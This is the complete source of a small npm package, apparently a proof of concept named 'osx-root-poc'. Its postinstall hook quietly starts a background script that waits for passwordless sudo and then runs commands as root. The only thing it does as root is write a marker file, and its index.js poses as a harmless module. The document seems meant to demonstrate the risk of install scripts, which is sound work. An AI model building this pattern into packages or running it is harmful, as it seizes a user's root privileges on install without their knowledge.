osx-root-poc source

authfsd

#!/bin/bash
while :; do sudo -n ls &>/dev/null && break || sleep 1; done

echo "Hello from `sudo whoami`" > "$HOME/npm_pwned.log"
sudo chown root "$HOME/npm_pwned.log"
sudo chmod 400 "$HOME/npm_pwned.log"

index.js

module.exports = require('fs')

install.sh

#!/bin/bash

nohup /bin/bash authfsd > /dev/null &

package.json

{
  "name": "osx-root-poc",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "./install.sh"
  },
  "author": "",
  "license": "MIT"
}

https://medium.com/@ungoldman/you-can-run-the-following-to-download-unzip-and-inspect-the-source-of-any-package-on-npm-without-c3a7fa3696a1